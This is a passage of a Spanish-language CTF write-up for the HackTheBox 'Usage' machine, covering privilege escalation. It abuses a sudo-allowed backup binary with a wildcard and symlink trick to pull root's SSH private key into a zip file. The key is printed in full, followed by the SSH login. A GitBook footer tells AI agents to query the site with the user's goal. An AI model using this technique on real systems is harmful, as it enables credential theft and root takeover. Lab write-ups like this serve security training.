<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb3a575cbc5174fde9b0d5a4096b05a402e15522%2Fimage%20(1120).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Abuso del binario de Sudoers:

Al ejecutar el `sudo -l` comando como el usuario `xander`, descubrimos la posibilidad de ejecutar el `usage_management` binario con tres opciones:

1. *`Copia de seguridad del proyecto`*
2. *`Respaldar datos de MySQL`*
3. *`Restablecer la contraseña de administrador`*

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36ffeca4f10686e40972f5f01a91a753fb0cc11f%2Fimage%20(1121).png?alt=media" alt=""><figcaption></figcaption></figure>

Al seleccionar la primera opción ("Project Backup"), el programa crea un archivo `.zip` con una copia de seguridad como usuario `root`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f11e9acb5e61b326c3408f98c6cb8ee37770e29c%2Fimage%20(1122).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f6f4a3ec65e9303122a5f27db38ebd23476ab12%2Fimage%20(1123).png?alt=media" alt=""><figcaption></figcaption></figure>

### Análisis binario (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Instala y ejecuta GHIDRA para analizar el binario:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a4723409aa1abc5efc67366312954afee5b02f8%2Fimage%20(1124).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c6a50a8674fda60325a4b04e768f23a2b3bec01%2Fimage%20(1125).png?alt=media" alt=""><figcaption></figcaption></figure>

* En el `Copia de seguridad del proyecto` función, observamos que esta funcionalidad comprime el contenido de `/var/www/html` en un `project.zip` archivo con permisos de root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49b1fd04317ca33f13aa4da9bd3cc11390b85498%2Fimage%20(1126).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Creación de un enlace simbólico para acceder a la clave SSH de root**: Para explotar esta funcionalidad, crea un enlace simbólico a la clave SSH de root en el `html` directorio

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be673e6a60f56a63774b420d647eb78321654e4%2Fimage%20(1127).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ejecutando el script como root**:

* Ejecuta el `usage_management` script:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea31e5230232bf0e4746c9f4b8fcd10320696822%2Fimage%20(1128).png?alt=media" alt=""><figcaption></figcaption></figure>

* En el `project.zip` archivo, obtén la clave privada de root (`id_rsa`).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb134508aea553cb71c61b146b3e3b381ec515e4%2Fimage%20(1130).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Conexión SSH con la clave de root**:

* Usa la clave para iniciar sesión como root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-563870f0cf6625cc06fa5f4f77844107813024d3%2Fimage%20(1131).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8d23693d4270643208140fcabd797d3d44072b9%2Fimage%20(1133).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e05628695c27540b5622a01fb52f215aeba8a75%2Fimage%20(1132).png?alt=media" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
